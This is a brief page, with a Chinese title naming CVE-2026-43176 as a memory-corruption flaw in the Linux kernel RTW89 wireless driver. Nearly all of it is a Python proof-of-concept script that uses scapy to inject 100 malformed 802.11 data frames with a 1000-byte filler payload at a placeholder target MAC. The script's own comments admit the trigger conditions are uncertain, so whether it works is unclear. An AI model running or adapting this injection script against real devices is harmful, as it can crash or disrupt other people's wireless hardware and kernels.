CVE-2026-43176 Linux内核RTW89驱动内存损坏漏洞

#!/usr/bin/env python3 # PoC Concept for CVE-2026-43176 # This script attempts to send malformed frames to trigger the vulnerability. # Requires a wireless card capable of packet injection. from scapy.all import * def send_malformed_frame(target_mac): # Constructing a malformed 802.11 frame that might trigger bad release report # Note: Actual trigger conditions depend heavily on firmware/hardware state. dot11 = Dot11(type=2, subtype=0, addr1=target_mac, addr2=RandMAC(), addr3=RandMAC()) payload = b"A" * 1000 # Arbitrary payload to stress SKB handling # Send frame sendp(dot11/payload, iface="wlan0", count=100, inter=0.1, verbose=1) print("[+] Malformed frames sent.") if __name__ == "__main__": target = "AA:BB:CC:DD:EE:FF" # Replace with target MAC send_malformed_frame(target)